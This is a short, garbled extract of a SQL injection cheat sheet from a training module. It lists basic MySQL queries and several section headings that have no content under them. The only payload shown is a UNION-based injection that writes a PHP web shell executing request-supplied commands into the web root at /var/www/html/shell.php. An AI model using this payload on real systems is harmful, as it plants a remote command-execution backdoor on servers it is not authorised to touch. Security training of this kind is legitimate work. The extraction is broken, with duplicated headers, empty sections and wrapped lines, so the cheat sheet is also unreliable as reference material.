SQL Injection Fundamentals Module Cheat Sheet
SQL Injection Fundamentals Module Cheat Sheet
CHEAT SHEET
MySQL
Command Description
General
Tables
Columns
Command Description
Output
SELECT * FROM logins ORDER BY column_1 DESC Sort by column in descending order
SELECT * FROM logins LIMIT 1, 2 Only show first two results starting
from index 2
SELECT * FROM table_name WHERE <condition> List results that meet a condition
SELECT * FROM logins WHERE username LIKE List results where the name is
'admin%' similar to a given string
SQL Injection
Payload Description
Auth Bypass
Union Injection
DB Enumeration
Privileges
File Injection
cn' union select "",'<?php system($_REQUEST[0]); ?>', Write a web shell into
"", "" into outfile '/var/www/html/shell.php'-- - the base web
directory